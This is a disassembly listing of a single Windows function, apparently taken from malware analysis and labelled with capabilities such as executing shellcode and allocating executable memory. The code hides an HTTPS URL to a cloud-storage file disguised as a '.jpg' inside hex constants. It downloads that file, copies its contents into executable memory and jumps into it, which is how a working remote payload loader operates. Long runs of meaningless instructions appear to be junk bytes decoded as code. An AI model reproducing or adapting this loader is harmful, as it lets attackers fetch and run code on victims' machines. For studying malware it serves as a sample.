Function at 0x405b50
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x9c
mov eax, dword [0x40f094]
test eax, eax
jne 0x4060bd
nop
nop
nop
nop
nop
nop
nop
push es
mov dword [eax], eax
push es
mov eax, dword [eax]
or edx, dword [ecx + 0xf]
pmullw mm0, qword [0x9085e0f]
add eax, 0x5048d00
hlt
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x1f4
call ebx
sub esp, 4
cmp dword [0x40f090], 2
jle 0x409193
mov eax, dword [0x40f094]
test eax, eax
jne 0x4065a3
nop
nop
nop
nop
nop
nop
nop
cmp dword [0xf00f80d], eax
test byte [ecx], al
add bh, bh
invalid
call fcn.00403e00
mov eax, dword [0x40f094]
test eax, eax
je 0x4091a0
mov dword [esp], 0x412036
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
sub esp, 4
test esi, esi
mov eax, 0x415020
je 0x40b288
mov ecx, dword [eax]
add eax, 4
lea edx, [ecx - 0x1010101]
not ecx
and edx, ecx
and edx, 0x80808080
je 0x4065d4
mov ecx, edx
mov edi, 0x3332
shr ecx, 0x10
test edx, 0x8080
cmove edx, ecx
lea ecx, [eax + 2]
cmove eax, ecx
add dl, dl
sbb eax, 3
sub eax, 0x415020
mov dword [eax + 0x415020], 0x70747468
mov dword [eax + 0x415024], 0x2f2f3a73
mov dword [eax + 0x415028], 0x31777777
mov dword [eax + 0x41502c], 0x63633839
mov dword [eax + 0x415030], 0x33312d31
mov word [eax + 0x415034], di
mov byte [eax + 0x415036], 0
mov eax, 0x415020
mov ecx, dword [eax]
add eax, 4
lea edx, [ecx - 0x1010101]
not ecx
and edx, ecx
and edx, 0x80808080
je 0x406653
mov ecx, edx
shr ecx, 0x10
test edx, 0x8080
cmove edx, ecx
lea ecx, [eax + 2]
cmove eax, ecx
add dl, dl
sbb eax, 3
sub eax, 0x415020
mov dword [eax + 0x415020], 0x33353735
mov dword [eax + 0x415024], 0x632e3934
mov dword [eax + 0x415028], 0x612e736f
mov dword [eax + 0x41502c], 0x75672d70
mov dword [eax + 0x415030], 0x7a676e61
mov dword [eax + 0x415034], 0x2e756f68
mov byte [eax + 0x415038], 0
mov eax, 0x415020
mov ecx, dword [eax]
add eax, 4
lea edx, [ecx - 0x1010101]
not ecx
and edx, ecx
and edx, 0x80808080
je 0x4066d0
mov ecx, edx
shr ecx, 0x10
test edx, 0x8080
cmove edx, ecx
lea ecx, [eax + 2]
cmove eax, ecx
mov ecx, dword [0x40f094]
add dl, dl
sbb eax, 3
mov edx, 0x6770
sub eax, 0x415020
mov dword [eax + 0x415020], 0x6371796d
test ecx, ecx
mov dword [eax + 0x415024], 0x64756f6c
mov dword [eax + 0x415028], 0x6d6f632e
mov dword [eax + 0x41502c], 0x3230322f
mov dword [eax + 0x415030], 0x31636334
mov dword [eax + 0x415034], 0x6473612f
mov dword [eax + 0x415038], 0x6a2e3936
mov word [eax + 0x41503c], dx
mov byte [eax + 0x41503e], 0
je 0x409660
lea esi, [esi]
xor eax, eax
mov ecx, 0x18
lea edi, [ebp - 0x78]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x7c]
mov dword [esp], edi
mov dword [esp + 4], 0x41202f
mov dword [ebp - 0x7c], 0
call sub.msvcrt.dll_strcpy
mov dword [esp], edi
mov dword [esp + 4], 0x412029
call sub.msvcrt.dll_strcat
mov dword [esp], edi
mov dword [esp + 4], 0x412021
call sub.msvcrt.dll_strcat
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
mov edi, eax
je 0x40a447
mov eax, dword [0x40f094]
test eax, eax
jne 0x406c97
nop
nop
nop
rol dword [edi], 3
adc cl, byte [esi]
or ch, al
add eax, 0x50b
mov dword [eax], 0x3082200
ljmp 0xc10f
mov dword [esp], section..AAD
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x40a8c0
mov edx, dword [0x40f094]
test edx, edx
jne 0x40710a
nop
nop
pop es
push esi
add eax, 0xe036a07
lea eax, [eax + 0xa06c2]
add eax, 0x704ed00
add byte [0x20dff00], al
ret 0x400
mov dword [esp + 4], 0x41104e
mov dword [esp], section..AAD
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x40a447
mov eax, dword [0x40f094]
test eax, eax
jne 0x4075ef
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [edx], cl
push 0x400300
add byte [eax + 0x60a080e], al
or dword [edx], eax
add byte [edx], cl
add byte [eax], al
add byte [eax], al
add eax, 0x80e5102
add eax, dword [esi]
add al, 0
add byte [edi], cl
push cs
dec dword [edi]
jnp 0xf447e75
ud0
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], edi
call sub.msvcrt.dll_fseek
mov eax, dword [0x40f094]
test eax, eax
jne 0x407a60
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [edi], cl
or byte [0xf1], cl
add byte [eax], al
cmp eax, 0x400100
add byte [eax], al
add byte [eax], al
add bh, al
add al, 4
and al, 0
or al, 0
add byte [eax], al
add byte [eax], al
add byte [esp + ecx], cl
int3
mov dword [esp], edi
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
mov dword [ebp - 0x8c], eax
call sub.msvcrt.dll_fseek
mov eax, dword [0x40f094]
test eax, eax
je 0x409b20
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [ebp - 0x90], eax
je 0x40bc0f
nop
mov eax, dword [ebp - 0x8c]
mov dword [esp + 0xc], edi
mov dword [esp + 4], 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, dword [0x40f094]
test eax, eax
jne 0x407f35
nop
nop
nop
nop
nop
nop
nop
or eax, dword [ecx]
rol dword [eax], 0
add byte [eax + ecx], al
mov ecx, dword [ecx]
or al, 0x24
or al, byte [eax]
add byte [eax], al
add al, ch
push cs
add eax, 0xff0f0f44
or byte [ebx], al
les eax, [eax]
or al, 0x85
or al, 0
invalid
mov edi, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
inc edi
inc esp
and al, 8
mov eax, 0x89004111
jl 0x407f70
add al, 0x89
add al, 0x24
call fcn.00401560
mov dword [esp + 4], edi
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov eax, dword [0x40f094]
sub esp, 0x10
test eax, eax
jne 0x4083d4
nop
nop
nop
nop
nop
nop
nop
nop
dec byte [edi]
orps xmm0, xmmword [0x6055606]
push esi
or al, 7
add byte [ecx], al
push es
add byte [eax + eax], ah
or al, 0x64
or byte [ecx], cl
or eax, 0
add byte [eax], al
add eax, 0xc4035f09
add byte [ebx + eax*4], al
invalid
mov eax, dword [ebp - 0x8c]
mov dword [esp], edi
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x90]
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [0x40f094]
test ecx, ecx
jne 0x4088b8
nop
nop
pop es
sldt word [ebx]
inc byte [eax]
or eax, edi
add eax, dword [ebx]
mov byte [eax], 5
rol dword [0x3060c0d], 1
add al, 5
fadd dword [eax]
add ecx, eax
or al, 1
leave
add byte [ebx], cl
add ecx, dword [edi + edx]
add ecx, dword [ecx]
inc ebx
push es
add byte [ecx + eax], dh
or dword [edx + ecx], 0x10000
or byte [0x7c0c005e], cl
add eax, dword [esi]
mov eax, dword [ecx]
add byte [ebx], bh
add dword [esi], eax
jne 0x408443
pop es
add eax, 0x60b0823
or byte [ebx], cl
push es
or byte [ebx], cl
into
or al, 7
inc esi
pop es
or al, 0
add byte [ecx + ecx], al
add byte [eax], cl
or eax, 0x50040284
add byte [eax + eax], al
add byte [eax], al
push eax
add eax, 0x4070800
xor cl, byte [eax]
add edi, dword [edx + eax + 4]
adc al, 0
add byte [ebp + 2], dh
add al, 0xe
cmp dword [ecx], ecx
or al, 0x24
or dword [eax], ecx
add byte [eax], al
add byte [eax], al
pop es
add eax, dword [edi]
or byte [0xc8500], cl
jne 0x40848c
or al, 0x8b
add al, 0xc
and al, 1
add byte [ebp + 0x1240404], cl
add byte [ebx + 0xf83060c], cl
or dword [eax], ecx
pop es
add al, byte [edx]
or byte [ebx], cl
push es
add al, 0x40
or byte [ebx], cl
ret 0x70c
mov dword [esp], 1
call ebx
sub esp, 4
call edi
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov edx, dword [0x40f094]
test edx, edx
jne 0x408d2e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or byte [edi + eax + 5], ch
adc al, 4
or bh, bh
or al, 0
dec eax
or byte [ecx], cl
inc ebx
add dword [eax], ecx
add byte [edi], cl
pop ds
add al, 4
add byte [eax], al
add byte [esi + 8], ah
or eax, dword [eax + eax]
add dword [esi + 3], esp
push es
inc ebp
invalid
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x40f094]
sub esp, 4
test eax, eax
jne 0x409193
nop
nop
nop
nop
nop
nop
nop
nop
nop
or al, 0xc
int3
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
or byte [ebx], cl
push esp
add al, byte [eax + ecx]
or byte [0x8b0c0042], cl
or byte [edx], cl
loopne 0x4091bf
mov ecx, dword [0xd048d03]
hlt
add dword [eax], 0xb
or byte [edx + eax + 5], al
push esp
add byte [eax], al
lock add byte [ecx], cl
xor byte [edi + eax], cl
add eax, 0x6280f04
or al, byte [eax]
push es
or al, byte [eax]
add eax, 0x7048902
sbb byte [eax], cl
add byte [ebx], cl
cmp al, 4
add eax, 0x41070074
or byte [edx], cl
add dword [eax], ecx
add al, 0xc0
pop es
or byte [esi], al
add byte ds:[ebx], al
add byte [eax], al
add byte [edx + eax + 2], dh
push 0
add byte [ebx + 0x908f20c], cl
pop ebp
or al, 0xc
mov ecx, dword [esi + ecx]
test dword [0x8042301], 0x1e10304
jnp 0x10019a28
syscall
or al, 1
loope 0x40921f
push es
add al, 0
or byte [ebx], al
les eax, [eax]
or byte [ebp + 0x1240c04], cl
add byte [ecx + 0xf], dl
sgdt [eax]
add byte [eax], al
add dword [ebx], eax
xchg esi, eax
add dword [ecx + eax], eax
add byte [eax], al
add byte [0x80e5002], al
cmp ecx, dword [ebx]
or eax, dword [ecx]
add byte [eax], al
or dword [esp + eax], 4
push es
or cl, byte [ecx]
or byte [edx], dh
invalid
add eax, 0xd085001
push esp
add al, byte [esp + ecx]
add eax, 0x4048d02
and al, 1
or al, 0xb
or al, 6
je 0x409676
or al, 0x39
pop es
add dword [edi + eax], edx
add al, byte [edi]
pop es
pop es
test dword [ecx + ecx], ecx
jne 0x409685
add al, 0x33
or eax, 0x2eb02
mov ecx, dword [eax]
add al, 0x8d
add eax, dword [eax]
add byte [eax], al
mov eax, dword [0x524040d]
add al, 0
add eax, dword [ebx]
lds ecx, [eax]
or dword [eax], eax
or byte [ecx], cl
add dword [edx], 0
add eax, dword [eax]
add byte [eax], al
or al, 7
add dword [edx], 4
add ebx, dword [ebp + 0xf]
ud0
or bl, ch
add dword [ebx], eax
dec eax
or byte [ebx], cl
inc ecx
add byte [eax], cl
dec eax
add ecx, dword [ebx]
dec eax
add dword [eax], eax
add byte [ecx + eax], cl
add byte [eax], al
add byte [ebx], cl
or al, dh
add byte [edx], cl
add byte [eax], al
add byte [esi + 3], ah
or ecx, eax
add byte [edi], cl
test byte [0xf], cl
add byte [eax], cl
or eax, 0xf0f41
push es
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [ebp + 0x240405], cl
or al, 0x52
je 0x409b71
add eax, 0x5c0604ff
add eax, 0xe05c30e
jmp 0x13faa71
add byte [eax], al
push edi
invalid
mov eax, dword [0x40f094]
test eax, eax
jne 0x40a8a0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or eax, 0x20040254
push cs
or byte [edx + 0xfff030f], ah
jns 0x640a876
mov byte [ecx], al
add al, 8
or byte [ebx], cl
sti
or al, 6
inc esp
add byte [eax], cl
add dword [eax], eax
or edi, dword [ebx + 1]
add al, 0x8d
add byte [esi + edx], al
or byte [ebx], cl
lock or byte [ecx], cl
inc ebp
invalid
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [0x40f094]
test eax, eax
jne 0x40ad87
nop
nop
nop
mov eax, dword [edi]
add eax, 0x920b0ee8
invalid
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x412000
mov dword [esp + 4], 0x415020
mov dword [esp], 0
call edi
sub esp, 0x14
test eax, eax
jns 0x406cb0
mov ecx, dword [0x40f094]
test ecx, ecx
jne 0x40a8a0
nop
nop
nop
nop
nop
nop
nop
add byte [edi + 5], bl
push cs
mov cl, byte [ebx + eax]
pop ebx
or al, 9
ret 0x401
mov eax, dword [0x40f094]
test eax, eax
jne 0x409193
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 0xae
add byte [eax], al
add byte [eax], al
add byte [eax + 3], ch
add byte [ecx + 4], ch
add al, 0
push cs
or byte [ebx], cl
push cs
insd dword es:[edi], dx
invalid
mov dword [esp], edi
call sub.msvcrt.dll_fclose
jmp 0x40a8a0